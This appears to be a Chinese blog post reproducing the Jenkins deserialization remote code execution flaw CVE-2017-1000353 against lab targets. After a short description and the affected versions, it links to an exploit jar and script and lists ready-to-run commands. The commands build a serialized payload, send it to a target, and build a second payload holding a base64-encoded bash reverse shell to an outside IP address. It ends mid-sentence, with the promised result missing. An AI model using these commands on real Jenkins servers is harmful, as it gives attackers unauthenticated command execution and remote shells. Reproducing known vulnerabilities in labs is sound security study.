所有文章，仅供安全研究与学习之用，后果自负!
Jenkins 远程代码执行漏洞（CVE-2017-1000353）
Jenkins 远程代码执行漏洞（CVE-2017-1000353）
0x01 漏洞描述
Jenkins 可以通过其网页界面轻松设置和配置,其中包括即时错误检查和内置帮助。 插件 通过更新中心中的 1000 多个插件,Jenkins 集成了持续集成和持续交付工具链中几乎所有的工具。 Jenkins的反序列化漏洞，攻击者使用该漏洞可以在被攻击服务器执行任意代码，漏洞利用不需要任何的权限
该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中，Jenkins利用此通道来接收命令，恶意攻击者可以构造恶意攻击参数远程执行命令，从而获取系统权限，造成数据泄露。
0x02 影响范围
所有Jenkins主版本均受到影响(包括<=2.56版本)所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)
0x03 漏洞复现
工具链接
https://link.zhihu.com/?target=https%3A//github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar
exp
https://link.zhihu.com/?target=https%3A//github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py
访问靶场
创建文件 docker环境测试
（1）生成序列化字符串 jenkins_poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
执行上述代码后，生成jenkins_poc.ser文件，这就是序列化字符串。
（2）发送数据包，执行命令
python3 exploit.py http://119.29.67.4:8080 jenkins_poc.ser
复现成功
反弹shell在线靶场测试
（1） 生成序列化字符串
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA}|{base64,-d}|{bash,-i}"
（2）发送数据包 执行命令
python3 exploit.py http://vulfocus.fofa.so:42863/ jenkins_poc.ser
反弹shell成功
0x04 漏洞修复
升级版本
总结
经过测试
攻击机 java 版本为 下时攻击失败
后来 用1.8.0_291攻击成功 如下
